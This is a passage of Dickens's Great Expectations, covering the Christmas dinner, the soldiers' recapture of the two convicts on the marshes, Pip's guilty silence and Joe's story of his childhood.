All this +time, Mrs. Joe and Joe were briskly clearing the table for the pie +and pudding. + +I couldn't keep my eyes off him. Always holding tight by the leg of +the table with my hands and feet, I saw the miserable creature +finger his glass playfully, take it up, smile, throw his head back, +and drink the brandy off. Instantly afterwards, the company were +seized with unspeakable consternation, owing to his springing to +his feet, turning round several times in an appalling spasmodic +whooping-cough dance, and rushing out at the door; he then became +visible through the window, violently plunging and expectorating, +making the most hideous faces, and apparently out of his mind. + +I held on tight, while Mrs. Joe and Joe ran to him. I didn't know +how I had done it, but I had no doubt I had murdered him somehow. +In my dreadful situation, it was a relief when he was brought back, +and, surveying the company all round as if they had disagreed with +him, sank down into his chair with the one significant gasp, "Tar!" + +I had filled up the bottle from the tar-water jug. I knew he would +be worse by-and-by. I moved the table, like a Medium of the present +day, by the vigour of my unseen hold upon it. + +"Tar!" cried my sister, in amazement. "Why, how ever could Tar come +there?" + +But, Uncle Pumblechook, who was omnipotent in that kitchen, +wouldn't hear the word, wouldn't hear of the subject, imperiously +waved it all away with his hand, and asked for hot gin-and-water. +My sister, who had begun to be alarmingly meditative, had to employ +herself actively in getting the gin, the hot water, the sugar, and +the lemon-peel, and mixing them. For the time being at least, I was +saved. I still held on to the leg of the table, but clutched it now +with the fervour of gratitude. + +By degrees, I became calm enough to release my grasp and partake of +pudding. Mr. Pumblechook partook of pudding. All partook of pudding. +The course terminated, and Mr. Pumblechook had begun to beam under +the genial influence of gin-and-water. I began to think I should +get over the day, when my sister said to Joe, "Clean plates - +cold." + +I clutched the leg of the table again immediately, and pressed it +to my bosom as if it had been the companion of my youth and friend +of my soul. I foresaw what was coming, and I felt that this time I +really was gone. + +"You must taste," said my sister, addressing the guests with her +best grace, "You must taste, to finish with, such a delightful and +delicious present of Uncle Pumblechook's!" + +Must they! Let them not hope to taste it! + +"You must know," said my sister, rising, "it's a pie; a savoury +pork pie." + +The company murmured their compliments. Uncle Pumblechook, sensible +of having deserved well of his fellow-creatures, said - quite +vivaciously, all things considered - "Well, Mrs. Joe, we'll do our +best endeavours; let us have a cut at this same pie." + +My sister went out to get it. I heard her steps proceed to the +pantry. I saw Mr. Pumblechook balance his knife. I saw re-awakening +appetite in the Roman nostrils of Mr. Wopsle. I heard Mr. Hubble +remark that "a bit of savoury pork pie would lay atop of anything +you could mention, and do no harm," and I heard Joe say, "You shall +have some, Pip." I have never been absolutely certain whether I +uttered a shrill yell of terror, merely in spirit, or in the bodily +hearing of the company. I felt that I could bear no more, and that +I must run away. I released the leg of the table, and ran for my +life. + +But, I ran no further than the house door, for there I ran head +foremost into a party of soldiers with their muskets: one of whom +held out a pair of handcuffs to me, saying, "Here you are, look +sharp, come on!" + + +Chapter 5 + +The apparition of a file of soldiers ringing down the butt-ends of +their loaded muskets on our door-step, caused the dinner-party to +rise from table in confusion, and caused Mrs. Joe re-entering the +kitchen empty-handed, to stop short and stare, in her wondering +lament of "Gracious goodness gracious me, what's gone - with the - +pie!" + +The sergeant and I were in the kitchen when Mrs. Joe stood staring; +at which crisis I partially recovered the use of my senses. It was +the sergeant who had spoken to me, and he was now looking round at +the company, with his handcuffs invitingly extended towards them in +his right hand, and his left on my shoulder. + +"Excuse me, ladies and gentleman," said the sergeant, "but as I +have mentioned at the door to this smart young shaver" (which he +hadn't), "I am on a chase in the name of the king, and I want the +blacksmith." + +"And pray what might you want with him?" retorted my sister, quick +to resent his being wanted at all. + +"Missis," returned the gallant sergeant, "speaking for myself, I +should reply, the honour and pleasure of his fine wife's +acquaintance; speaking for the king, I answer, a little job done." + +This was received as rather neat in the sergeant; insomuch that Mr +Pumblechook cried audibly, "Good again!" + +"You see, blacksmith," said the sergeant, who had by this time +picked out Joe with his eye, "we have had an accident with these, +and I find the lock of one of 'em goes wrong, and the coupling +don't act pretty. As they are wanted for immediate service, will +you throw your eye over them?" + +Joe threw his eye over them, and pronounced that the job would +necessitate the lighting of his forge fire, and would take nearer +two hours than one, "Will it? Then will you set about it at once, +blacksmith?" said the off-hand sergeant, "as it's on his Majesty's +service. And if my men can beat a hand anywhere, they'll make +themselves useful." With that, he called to his men, who came +trooping into the kitchen one after another, and piled their arms +in a corner. And then they stood about, as soldiers do; now, with +their hands loosely clasped before them; now, resting a knee or a +shoulder; now, easing a belt or a pouch; now, opening the door to +spit stiffly over their high stocks, out into the yard. + +All these things I saw without then knowing that I saw them, for I +was in an agony of apprehension. But, beginning to perceive that +the handcuffs were not for me, and that the military had so far got +the better of the pie as to put it in the background, I collected a +little more of my scattered wits. + +"Would you give me the Time?" said the sergeant, addressing himself +to Mr. Pumblechook, as to a man whose appreciative powers justified +the inference that he was equal to the time. + +"It's just gone half-past two." + +"That's not so bad," said the sergeant, reflecting; "even if I was +forced to halt here nigh two hours, that'll do. How far might you +call yourselves from the marshes, hereabouts? Not above a mile, I +reckon?" + +"Just a mile," said Mrs. Joe. + +"That'll do. We begin to close in upon 'em about dusk. A little +before dusk, my orders are. That'll do." + +"Convicts, sergeant?" asked Mr. Wopsle, in a matter-of-course way. + +"Ay!" returned the sergeant, "two. They're pretty well known to be +out on the marshes still, and they won't try to get clear of 'em +before dusk. Anybody here seen anything of any such game?" + +Everybody, myself excepted, said no, with confidence. Nobody +thought of me. + +"Well!" said the sergeant, "they'll find themselves trapped in a +circle, I expect, sooner than they count on. Now, blacksmith! If +you're ready, his Majesty the King is." + +Joe had got his coat and waistcoat and cravat off, and his leather +apron on, and passed into the forge. One of the soldiers opened its +wooden windows, another lighted the fire, another turned to at +the bellows, the rest stood round the blaze, which was soon +roaring. Then Joe began to hammer and clink, hammer and clink, and +we all looked on. + +The interest of the impending pursuit not only absorbed the general +attention, but even made my sister liberal. She drew a pitcher of +beer from the cask, for the soldiers, and invited the sergeant to +take a glass of brandy. But Mr. Pumblechook said, sharply, "Give him +wine, Mum. I'll engage there's no Tar in that:" so, the sergeant +thanked him and said that as he preferred his drink without tar, he +would take wine, if it was equally convenient. When it was given +him, he drank his Majesty's health and Compliments of the Season, +and took it all at a mouthful and smacked his lips. + +"Good stuff, eh, sergeant?" said Mr. Pumblechook. + +"I'll tell you something," returned the sergeant; "I suspect that +stuff's of your providing." + +Mr. Pumblechook, with a fat sort of laugh, said, "Ay, ay? Why?" + +"Because," returned the sergeant, clapping him on the shoulder, +"you're a man that knows what's what." + +"D'ye think so?" said Mr. Pumblechook, with his former laugh. "Have +another glass!" + +"With you. Hob and nob," returned the sergeant. "The top of mine to +the foot of yours - the foot of yours to the top of mine - Ring +once, ring twice - the best tune on the Musical Glasses! Your +health. May you live a thousand years, and never be a worse judge +of the right sort than you are at the present moment of your life!" + +The sergeant tossed off his glass again and seemed quite ready for +another glass. I noticed that Mr. Pumblechook in his hospitality +appeared to forget that he had made a present of the wine, but took +the bottle from Mrs. Joe and had all the credit of handing it about +in a gush of joviality. Even I got some. And he was so very free of +the wine that he even called for the other bottle, and handed that +about with the same liberality, when the first was gone. + +As I watched them while they all stood clustering about the forge, +enjoying themselves so much, I thought what terrible good sauce for +a dinner my fugitive friend on the marshes was. They had not +enjoyed themselves a quarter so much, before the entertainment was +brightened with the excitement he furnished. And now, when they +were all in lively anticipation of "the two villains" being taken, +and when the bellows seemed to roar for the fugitives, the fire to +flare for them, the smoke to hurry away in pursuit of them, Joe to +hammer and clink for them, and all the murky shadows on the wall to +shake at them in menace as the blaze rose and sank and the red-hot +sparks dropped and died, the pale after-noon outside, almost seemed +in my pitying young fancy to have turned pale on their account, +poor wretches. + +At last, Joe's job was done, and the ringing and roaring stopped. +As Joe got on his coat, he mustered courage to propose that some of +us should go down with the soldiers and see what came of the hunt. +Mr. Pumblechook and Mr. Hubble declined, on the plea of a pipe and +ladies' society; but Mr. Wopsle said he would go, if Joe would. Joe +said he was agreeable, and would take me, if Mrs. Joe approved. We +never should have got leave to go, I am sure, but for Mrs. Joe's +curiosity to know all about it and how it ended. As it was, she +merely stipulated, "If you bring the boy back with his head blown +to bits by a musket, don't look to me to put it together again." + +The sergeant took a polite leave of the ladies, and parted from Mr. +Pumblechook as from a comrade; though I doubt if he were quite as +fully sensible of that gentleman's merits under arid conditions, as +when something moist was going. His men resumed their muskets and +fell in. Mr. Wopsle, Joe, and I, received strict charge to keep in +the rear, and to speak no word after we reached the marshes. When +we were all out in the raw air and were steadily moving towards our +business, I treasonably whispered to Joe, "I hope, Joe, we shan't +find them." and Joe whispered to me, "I'd give a shilling if they +had cut and run, Pip." + +We were joined by no stragglers from the village, for the weather +was cold and threatening, the way dreary, the footing bad, darkness +coming on, and the people had good fires in-doors and were keeping +the day. A few faces hurried to glowing windows and looked after +us, but none came out. We passed the finger-post, and held straight +on to the churchyard. There, we were stopped a few minutes by a +signal from the sergeant's hand, while two or three of his men +dispersed themselves among the graves, and also examined the porch. +They came in again without finding anything, and then we struck out +on the open marshes, through the gate at the side of the +churchyard. A bitter sleet came rattling against us here on the +east wind, and Joe took me on his back. + +Now that we were out upon the dismal wilderness where they little +thought I had been within eight or nine hours and had seen both men +hiding, I considered for the first time, with great dread, if we +should come upon them, would my particular convict suppose that it +was I who had brought the soldiers there? He had asked me if I was +a deceiving imp, and he had said I should be a fierce young hound +if I joined the hunt against him. Would he believe that I was both +imp and hound in treacherous earnest, and had betrayed him? + +It was of no use asking myself this question now. There I was, on +Joe's back, and there was Joe beneath me, charging at the ditches +like a hunter, and stimulating Mr. Wopsle not to tumble on his Roman +nose, and to keep up with us. The soldiers were in front of us, +extending into a pretty wide line with an interval between man and +man. We were taking the course I had begun with, and from which I +had diverged in the mist. Either the mist was not out again yet, or +the wind had dispelled it. Under the low red glare of sunset, the +beacon, and the gibbet, and the mound of the Battery, and the +opposite shore of the river, were plain, though all of a watery +lead colour. + +With my heart thumping like a blacksmith at Joe's broad shoulder, I +looked all about for any sign of the convicts. I could see none, I +could hear none. Mr. Wopsle had greatly alarmed me more than once, +by his blowing and hard breathing; but I knew the sounds by this +time, and could dissociate them from the object of pursuit. I got a +dreadful start, when I thought I heard the file still going; but it +was only a sheep bell. The sheep stopped in their eating and looked +timidly at us; and the cattle, their heads turned from the wind and +sleet, stared angrily as if they held us responsible for both +annoyances; but, except these things, and the shudder of the dying +day in every blade of grass, there was no break in the bleak +stillness of the marshes. + +The soldiers were moving on in the direction of the old Battery, +and we were moving on a little way behind them, when, all of a +sudden, we all stopped. For, there had reached us on the wings of +the wind and rain, a long shout. It was repeated. It was at a +distance towards the east, but it was long and loud. Nay, there +seemed to be two or more shouts raised together - if one might +judge from a confusion in the sound. + +To this effect the sergeant and the nearest men were speaking under +their breath, when Joe and I came up. After another moment's +listening, Joe (who was a good judge) agreed, and Mr. Wopsle (who +was a bad judge) agreed. The sergeant, a decisive man, ordered that +the sound should not be answered, but that the course should be +changed, and that his men should make towards it "at the double." +So we slanted to the right (where the East was), and Joe pounded +away so wonderfully, that I had to hold on tight to keep my seat. + +It was a run indeed now, and what Joe called, in the only two words +he spoke all the time, "a Winder." Down banks and up banks, and +over gates, and splashing into dykes, and breaking among coarse +rushes: no man cared where he went. As we came nearer to the +shouting, it became more and more apparent that it was made by more +than one voice. Sometimes, it seemed to stop altogether, and then +the soldiers stopped. When it broke out again, the soldiers made +for it at a greater rate than ever, and we after them. After a +while, we had so run it down, that we could hear one voice calling +"Murder!" and another voice, "Convicts! Runaways! Guard! This way +for the runaway convicts!" Then both voices would seem to be +stifled in a struggle, and then would break out again. And when it +had come to this, the soldiers ran like deer, and Joe too. + +The sergeant ran in first, when we had run the noise quite down, +and two of his men ran in close upon him. Their pieces were cocked +and levelled when we all ran in. + +"Here are both men!" panted the sergeant, struggling at the bottom +of a ditch. "Surrender, you two! and confound you for two wild +beasts! Come asunder!" + +Water was splashing, and mud was flying, and oaths were being +sworn, and blows were being struck, when some more men went down +into the ditch to help the sergeant, and dragged out, separately, +my convict and the other one. Both were bleeding and panting and +execrating and struggling; but of course I knew them both directly. + +"Mind!" said my convict, wiping blood from his face with his ragged +sleeves, and shaking torn hair from his fingers: "I took him! I give +him up to you! Mind that!" + +"It's not much to be particular about," said the sergeant; "it'll do +you small good, my man, being in the same plight yourself. +Handcuffs there!" + +"I don't expect it to do me any good. I don't want it to do me more +good than it does now," said my convict, with a greedy laugh. "I +took him. He knows it. That's enough for me." + +The other convict was livid to look at, and, in addition to the old +bruised left side of his face, seemed to be bruised and torn all +over. He could not so much as get his breath to speak, until they +were both separately handcuffed, but leaned upon a soldier to keep +himself from falling. + +"Take notice, guard - he tried to murder me," were his first words. + +"Tried to murder him?" said my convict, disdainfully. "Try, and not +do it? I took him, and giv' him up; that's what I done. I not only +prevented him getting off the marshes, but I dragged him here - +dragged him this far on his way back. He's a gentleman, if you +please, this villain. Now, the Hulks has got its gentleman again, +through me. Murder him? Worth my while, too, to murder him, when I +could do worse and drag him back!" + +The other one still gasped, "He tried - he tried - to - murder me. +Bear - bear witness." + +"Lookee here!" said my convict to the sergeant. "Single-handed I +got clear of the prison-ship; I made a dash and I done it. I could +ha' got clear of these death-cold flats likewise - look at my leg: +you won't find much iron on it - if I hadn't made the discovery that +he was here. Let him go free? Let him profit by the means as I found +out? Let him make a tool of me afresh and again? Once more? No, no, +no. If I had died at the bottom there;" and he made an emphatic +swing at the ditch with his manacled hands; "I'd have held to him +with that grip, that you should have been safe to find him in my +hold." + +The other fugitive, who was evidently in extreme horror of his +companion, repeated, "He tried to murder me. I should have been a +dead man if you had not come up." + +"He lies!" said my convict, with fierce energy. "He's a liar born, +and he'll die a liar. Look at his face; ain't it written there? Let +him turn those eyes of his on me. I defy him to do it." + +The other, with an effort at a scornful smile - which could not, +however, collect the nervous working of his mouth into any set +expression - looked at the soldiers, and looked about at the +marshes and at the sky, but certainly did not look at the speaker. + +"Do you see him?" pursued my convict. "Do you see what a villain he +is? Do you see those grovelling and wandering eyes? That's how he +looked when we were tried together. He never looked at me." + +The other, always working and working his dry lips and turning his +eyes restlessly about him far and near, did at last turn them for a +moment on the speaker, with the words, "You are not much to look +at," and with a half-taunting glance at the bound hands. At that +point, my convict became so frantically exasperated, that he would +have rushed upon him but for the interposition of the soldiers. +"Didn't I tell you," said the other convict then, "that he would +murder me, if he could?" And any one could see that he shook with +fear, and that there broke out upon his lips, curious white flakes, +like thin snow. + +"Enough of this parley," said the sergeant. "Light those torches." + +As one of the soldiers, who carried a basket in lieu of a gun, went +down on his knee to open it, my convict looked round him for the +first time, and saw me. I had alighted from Joe's back on the brink +of the ditch when we came up, and had not moved since. I looked at +him eagerly when he looked at me, and slightly moved my hands and +shook my head. I had been waiting for him to see me, that I might +try to assure him of my innocence. It was not at all expressed to +me that he even comprehended my intention, for he gave me a look +that I did not understand, and it all passed in a moment. But if he +had looked at me for an hour or for a day, I could not have +remembered his face ever afterwards, as having been more attentive. + +The soldier with the basket soon got a light, and lighted three or +four torches, and took one himself and distributed the others. It +had been almost dark before, but now it seemed quite dark, and soon +afterwards very dark. Before we departed from that spot, four +soldiers standing in a ring, fired twice into the air. Presently we +saw other torches kindled at some distance behind us, and others on +the marshes on the opposite bank of the river. "All right," said +the sergeant. "March." + +We had not gone far when three cannon were fired ahead of us with a +sound that seemed to burst something inside my ear. "You are +expected on board," said the sergeant to my convict; "they know you +are coming. Don't straggle, my man. Close up here." + +The two were kept apart, and each walked surrounded by a separate +guard. I had hold of Joe's hand now, and Joe carried one of the +torches. Mr. Wopsle had been for going back, but Joe was resolved to +see it out, so we went on with the party. There was a reasonably +good path now, mostly on the edge of the river, with a divergence +here and there where a dyke came, with a miniature windmill on it +and a muddy sluice-gate. When I looked round, I could see the other +lights coming in after us. The torches we carried, dropped great +blotches of fire upon the track, and I could see those, too, lying +smoking and flaring. I could see nothing else but black darkness. +Our lights warmed the air about us with their pitchy blaze, and the +two prisoners seemed rather to like that, as they limped along in +the midst of the muskets. We could not go fast, because of their +lameness; and they were so spent, that two or three times we had to +halt while they rested. + +After an hour or so of this travelling, we came to a rough wooden +hut and a landing-place. There was a guard in the hut, and they +challenged, and the sergeant answered. Then, we went into the hut +where there was a smell of tobacco and whitewash, and a bright +fire, and a lamp, and a stand of muskets, and a drum, and a low +wooden bedstead, like an overgrown mangle without the machinery, +capable of holding about a dozen soldiers all at once. Three or +four soldiers who lay upon it in their great-coats, were not much +interested in us, but just lifted their heads and took a sleepy +stare, and then lay down again. The sergeant made some kind of +report, and some entry in a book, and then the convict whom I call +the other convict was drafted off with his guard, to go on board +first. + +My convict never looked at me, except that once. While we stood in +the hut, he stood before the fire looking thoughtfully at it, or +putting up his feet by turns upon the hob, and looking thoughtfully +at them as if he pitied them for their recent adventures. Suddenly, +he turned to the sergeant, and remarked: + +"I wish to say something respecting this escape. It may prevent +some persons laying under suspicion alonger me." + +"You can say what you like," returned the sergeant, standing coolly +looking at him with his arms folded, "but you have no call to say +it here. You'll have opportunity enough to say about it, and hear +about it, before it's done with, you know." + +"I know, but this is another pint, a separate matter. A man can't +starve; at least I can't. I took some wittles, up at the willage +over yonder - where the church stands a'most out on the marshes." + +"You mean stole," said the sergeant. + +"And I'll tell you where from. From the blacksmith's." + +"Halloa!" said the sergeant, staring at Joe. + +"Halloa, Pip!" said Joe, staring at me. + +"It was some broken wittles - that's what it was - and a dram of +liquor, and a pie." + +"Have you happened to miss such an article as a pie, blacksmith?" +asked the sergeant, confidentially. + +"My wife did, at the very moment when you came in. Don't you know, +Pip?" + +"So," said my convict, turning his eyes on Joe in a moody manner, +and without the least glance at me; "so you're the blacksmith, are +you? Than I'm sorry to say, I've eat your pie." + +"God knows you're welcome to it - so far as it was ever mine," +returned Joe, with a saving remembrance of Mrs. Joe. "We don't know +what you have done, but we wouldn't have you starved to death for +it, poor miserable fellow-creatur. - Would us, Pip?" + +The something that I had noticed before, clicked in the man's +throat again, and he turned his back. The boat had returned, and +his guard were ready, so we followed him to the landing-place made +of rough stakes and stones, and saw him put into the boat, which +was rowed by a crew of convicts like himself. No one seemed +surprised to see him, or interested in seeing him, or glad to see +him, or sorry to see him, or spoke a word, except that somebody in +the boat growled as if to dogs, "Give way, you!" which was the +signal for the dip of the oars. By the light of the torches, we saw +the black Hulk lying out a little way from the mud of the shore, like +a wicked Noah's ark. Cribbed and barred and moored by massive rusty +chains, the prison-ship seemed in my young eyes to be ironed like +the prisoners. We saw the boat go alongside, and we saw him taken +up the side and disappear. Then, the ends of the torches were flung +hissing into the water, and went out, as if it were all over with +him. + + +Chapter 6 + +My state of mind regarding the pilfering from which I had been so +unexpectedly exonerated, did not impel me to frank disclosure; but +I hope it had some dregs of good at the bottom of it. + +I do not recall that I felt any tenderness of conscience in +reference to Mrs. Joe, when the fear of being found out was lifted +off me. But I loved Joe - perhaps for no better reason in those +early days than because the dear fellow let me love him - and, as +to him, my inner self was not so easily composed. It was much upon +my mind (particularly when I first saw him looking about for his +file) that I ought to tell Joe the whole truth. Yet I did not, and +for the reason that I mistrusted that if I did, he would think me +worse than I was. The fear of losing Joe's confidence, and of +thenceforth sitting in the chimney-corner at night staring drearily +at my for ever lost companion and friend, tied up my tongue. I +morbidly represented to myself that if Joe knew it, I never +afterwards could see him at the fireside feeling his fair whisker, +without thinking that he was meditating on it. That, if Joe knew +it, I never afterwards could see him glance, however casually, at +yesterday's meat or pudding when it came on to-day's table, without +thinking that he was debating whether I had been in the pantry. +That, if Joe knew it, and at any subsequent period of our joint +domestic life remarked that his beer was flat or thick, the +conviction that he suspected Tar in it, would bring a rush of blood +to my face. In a word, I was too cowardly to do what I knew to be +right, as I had been too cowardly to avoid doing what I knew to be +wrong. I had had no intercourse with the world at that time, and I +imitated none of its many inhabitants who act in this manner. Quite +an untaught genius, I made the discovery of the line of action for +myself. + +As I was sleepy before we were far away from the prison-ship, Joe +took me on his back again and carried me home. He must have had a +tiresome journey of it, for Mr. Wopsle, being knocked up, was in +such a very bad temper that if the Church had been thrown open, he +would probably have excommunicated the whole expedition, beginning +with Joe and myself. In his lay capacity, he persisted in sitting +down in the damp to such an insane extent, that when his coat was +taken off to be dried at the kitchen fire, the circumstantial +evidence on his trousers would have hanged him if it had been a +capital offence. + +By that time, I was staggering on the kitchen floor like a little +drunkard, through having been newly set upon my feet, and through +having been fast asleep, and through waking in the heat and lights +and noise of tongues. As I came to myself (with the aid of a heavy +thump between the shoulders, and the restorative exclamation "Yah! +Was there ever such a boy as this!" from my sister), I found Joe +telling them about the convict's confession, and all the visitors +suggesting different ways by which he had got into the pantry. Mr. +Pumblechook made out, after carefully surveying the premises, that +he had first got upon the roof of the forge, and had then got upon +the roof of the house, and had then let himself down the kitchen +chimney by a rope made of his bedding cut into strips; and as Mr. +Pumblechook was very positive and drove his own chaise-cart - over +everybody - it was agreed that it must be so. Mr. Wopsle, indeed, +wildly cried out "No!" with the feeble malice of a tired man; but, +as he had no theory, and no coat on, he was unanimously set at +nought - not to mention his smoking hard behind, as he stood with +his back to the kitchen fire to draw the damp out: which was not +calculated to inspire confidence. + +This was all I heard that night before my sister clutched me, as a +slumberous offence to the company's eyesight, and assisted me up to +bed with such a strong hand that I seemed to have fifty boots on, +and to be dangling them all against the edges of the stairs. My +state of mind, as I have described it, began before I was up in the +morning, and lasted long after the subject had died out, and had +ceased to be mentioned saving on exceptional occasions. + + +Chapter 7 + +At the time when I stood in the churchyard, reading the family +tombstones, I had just enough learning to be able to spell them +out. My construction even of their simple meaning was not very +correct, for I read "wife of the Above" as a complimentary +reference to my father's exaltation to a better world; and if any +one of my deceased relations had been referred to as "Below," I +have no doubt I should have formed the worst opinions of that +member of the family. Neither, were my notions of the theological +positions to which my Catechism bound me, at all accurate; for, I +have a lively remembrance that I supposed my declaration that I was +to "walk in the same all the days of my life," laid me under an +obligation always to go through the village from our house in one +particular direction, and never to vary it by turning down by the +wheelwright's or up by the mill. + +When I was old enough, I was to be apprenticed to Joe, and until I +could assume that dignity I was not to be what Mrs. Joe called +"Pompeyed," or (as I render it) pampered. Therefore, I was not only +odd-boy about the forge, but if any neighbour happened to want an +extra boy to frighten birds, or pick up stones, or do any such job, +I was favoured with the employment. In order, however, that our +superior position might not be compromised thereby, a money-box was +kept on the kitchen mantel-shelf, in to which it was publicly made +known that all my earnings were dropped. I have an impression that +they were to be contributed eventually towards the liquidation of +the National Debt, but I know I had no hope of any personal +participation in the treasure. + +Mr. Wopsle's great-aunt kept an evening school in the village; that +is to say, she was a ridiculous old woman of limited means and +unlimited infirmity, who used to go to sleep from six to seven +every evening, in the society of youth who paid twopence per week +each, for the improving opportunity of seeing her do it. She rented +a small cottage, and Mr. Wopsle had the room up-stairs, where we +students used to overhear him reading aloud in a most dignified and +terrific manner, and occasionally bumping on the ceiling. There was +a fiction that Mr. Wopsle "examined" the scholars, once a quarter. +What he did on those occasions was to turn up his cuffs, stick up +his hair, and give us Mark Antony's oration over the body of +Caesar. This was always followed by Collins's Ode on the Passions, +wherein I particularly venerated Mr. Wopsle as Revenge, throwing his +blood-stained sword in thunder down, and taking the War-denouncing +trumpet with a withering look. It was not with me then, as it was +in later life, when I fell into the society of the Passions, and +compared them with Collins and Wopsle, rather to the disadvantage +of both gentlemen. + +Mr. Wopsle's great-aunt, besides keeping this Educational +Institution, kept - in the same room - a little general shop. She +had no idea what stock she had, or what the price of anything in it +was; but there was a little greasy memorandum-book kept in a +drawer, which served as a Catalogue of Prices, and by this oracle +Biddy arranged all the shop transaction. Biddy was Mr. Wopsle's +great-aunt's granddaughter; I confess myself quiet unequal to the +working out of the problem, what relation she was to Mr. Wopsle. She +was an orphan like myself; like me, too, had been brought up by +hand. She was most noticeable, I thought, in respect of her +extremities; for, her hair always wanted brushing, her hands always +wanted washing, and her shoes always wanted mending and pulling up +at heel. This description must be received with a week-day +limitation. On Sundays, she went to church elaborated. + +Much of my unassisted self, and more by the help of Biddy than of +Mr. Wopsle's great-aunt, I struggled through the alphabet as if it +had been a bramble-bush; getting considerably worried and scratched +by every letter. After that, I fell among those thieves, the nine +figures, who seemed every evening to do something new to disguise +themselves and baffle recognition. But, at last I began, in a +purblind groping way, to read, write, and cipher, on the very +smallest scale. + +One night, I was sitting in the chimney-corner with my slate, +expending great efforts on the production of a letter to Joe. I +think it must have been a fully year after our hunt upon the +marshes, for it was a long time after, and it was winter and a hard +frost. With an alphabet on the hearth at my feet for reference, I +contrived in an hour or two to print and smear this epistle: + +"MI DEER JO i OPE U R KR WITE WELL i OPE i SHAL SON B HABELL 4 2 +TEEDGE U JO AN THEN WE SHORL B SO GLODD AN WEN i M PRENGTD 2 U JO +WOT LARX AN BLEVE ME INF XN PIP." + +There was no indispensable necessity for my communicating with Joe +by letter, inasmuch as he sat beside me and we were alone. But, I +delivered this written communication (slate and all) with my own +hand, and Joe received it as a miracle of erudition. + +"I say, Pip, old chap!" cried Joe, opening his blue eyes wide, +"what a scholar you are! An't you?" + +"I should like to be," said I, glancing at the slate as he held it: +with a misgiving that the writing was rather hilly. + +"Why, here's a J," said Joe, "and a O equal to anythink! Here's a J +and a O, Pip, and a J-O, Joe." + +I had never heard Joe read aloud to any greater extent than this +monosyllable, and I had observed at church last Sunday when I +accidentally held our Prayer-Book upside down, that it seemed to +suit his convenience quite as well as if it had been all right. +Wishing to embrace the present occasion of finding out whether in +teaching Joe, I should have to begin quite at the beginning, I +said, "Ah! But read the rest, Jo." + +"The rest, eh, Pip?" said Joe, looking at it with a slowly +searching eye, "One, two, three. Why, here's three Js, and three +Os, and three J-O, Joes in it, Pip!" + +I leaned over Joe, and, with the aid of my forefinger, read him the +whole letter. + +"Astonishing!" said Joe, when I had finished. "You ARE a scholar." + +"How do you spell Gargery, Joe?" I asked him, with a modest +patronage. + +"I don't spell it at all," said Joe. + +"But supposing you did?" + +"It can't be supposed," said Joe. "Tho' I'm oncommon fond of +reading, too." + +"Are you, Joe?" + +"On-common. Give me," said Joe, "a good book, or a good newspaper, +and sit me down afore a good fire, and I ask no better. Lord!" he +continued, after rubbing his knees a little, "when you do come to a +J and a O, and says you, "Here, at last, is a J-O, Joe," how +interesting reading is!" + +I derived from this last, that Joe's education, like Steam, was yet +in its infancy, Pursuing the subject, I inquired: + +"Didn't you ever go to school, Joe, when you were as little as me?" + +"No, Pip." + +"Why didn't you ever go to school, Joe, when you were as little as +me?" + +"Well, Pip," said Joe, taking up the poker, and settling himself to +his usual occupation when he was thoughtful, of slowly raking the +fire between the lower bars: "I'll tell you. My father, Pip, he +were given to drink, and when he were overtook with drink, he +hammered away at my mother, most onmerciful. It were a'most the +only hammering he did, indeed, 'xcepting at myself. And he hammered +at me with a wigour only to be equalled by the wigour with which he +didn't hammer at his anwil. - You're a-listening and understanding, +Pip?" + +"Yes, Joe." + +"'Consequence, my mother and me we ran away from my father, +several times; and then my mother she'd go out to work, and she'd +say, "Joe," she'd say, "now, please God, you shall have some +schooling, child," and she'd put me to school. But my father were +that good in his hart that he couldn't abear to be without us. So, +he'd come with a most tremenjous crowd and make such a row at the +doors of the houses where we was, that they used to be obligated to +have no more to do with us and to give us up to him. And then he +took us home and hammered us. Which, you see, Pip," said Joe, +pausing in his meditative raking of the fire, and looking at me, +"were a drawback on my learning." + +"Certainly, poor Joe!" + +"Though mind you, Pip," said Joe, with a judicial touch or two of +the poker on the top bar, "rendering unto all their doo, and +maintaining equal justice betwixt man and man, my father were that +good in his hart, don't you see?" + +I didn't see; but I didn't say so. + +"Well!" Joe pursued, "somebody must keep the pot a biling, Pip, or +the pot won't bile, don't you know?" + +I saw that, and said so. + +"'Consequence, my father didn't make objections to my going to +work; so I went to work to work at my present calling, which were +his too, if he would have followed it, and I worked tolerable hard, +I assure you, Pip. In time I were able to keep him, and I kept him +till he went off in a purple leptic fit. And it were my intentions +to have had put upon his tombstone that Whatsume'er the failings on +his part, Remember reader he were that good in his hart." + +Joe recited this couplet with such manifest pride and careful +perspicuity, that I asked him if he had made it himself. + +"I made it," said Joe, "my own self. I made it in a moment. It was +like striking out a horseshoe complete, in a single blow. I never +was so much surprised in all my life - couldn't credit my own ed - +to tell you the truth, hardly believed it were my own ed. As I was +saying, Pip, it were my intentions to have had it cut over him; but +poetry costs money, cut it how you will, small or large, and it +were not done. Not to mention bearers, all the money that could be +spared were wanted for my mother. She were in poor elth, and quite +broke. She weren't long of following, poor soul, and her share of +peace come round at last." + +Joe's blue eyes turned a little watery; he rubbed, first one of +them, and then the other, in a most uncongenial and uncomfortable +manner, with the round knob on the top of the poker. + +"It were but lonesome then," said Joe, "living here alone, and I +got acquainted with your sister. Now, Pip;" Joe looked firmly at +me, as if he knew I was not going to agree with him; "your sister +is a fine figure of a woman." + +I could not help looking at the fire, in an obvious state of doubt. + +"Whatever family opinions, or whatever the world's opinions, on +that subject may be, Pip, your sister is," Joe tapped the top bar +with the poker after every word following, "a - fine - figure - of +- a - woman!" + +I could think of nothing better to say than "I am glad you think +so, Joe." + +"So am I," returned Joe, catching me up. "I am glad I think so, +Pip. A little redness or a little matter of Bone, here or there, +what does it signify to Me?" + +I sagaciously observed, if it didn't signify to him, to whom did it +signify? + +"Certainly!" assented Joe. "That's it. You're right, old chap! When +I got acquainted with your sister, it were the talk how she was +bringing you up by hand. Very kind of her too, all the folks said, +and I said, along with all the folks. As to you," Joe pursued with +a countenance expressive of seeing something very nasty indeed: "if +you could have been aware how small and flabby and mean you was, +dear me, you'd have formed the most contemptible opinion of +yourself!" + +Not exactly relishing this, I said, "Never mind me, Joe." + +"But I did mind you, Pip," he returned with tender simplicity. +"When I offered to your sister to keep company, and to be asked in +church at such times as she was willing and ready to come to the +forge, I said to her, 'And bring the poor little child. God bless +the poor little child,' I said to your sister, 'there's room for +him at the forge!'" + +I broke out crying and begging pardon, and hugged Joe round the +neck: who dropped the poker to hug me, and to say, "Ever the best +of friends; an't us, Pip? Don't cry, old chap!" + +When this little interruption was over, Joe resumed: + +"Well, you see, Pip, and here we are! That's about where it lights; +here we are! Now, when you take me in hand in my learning, 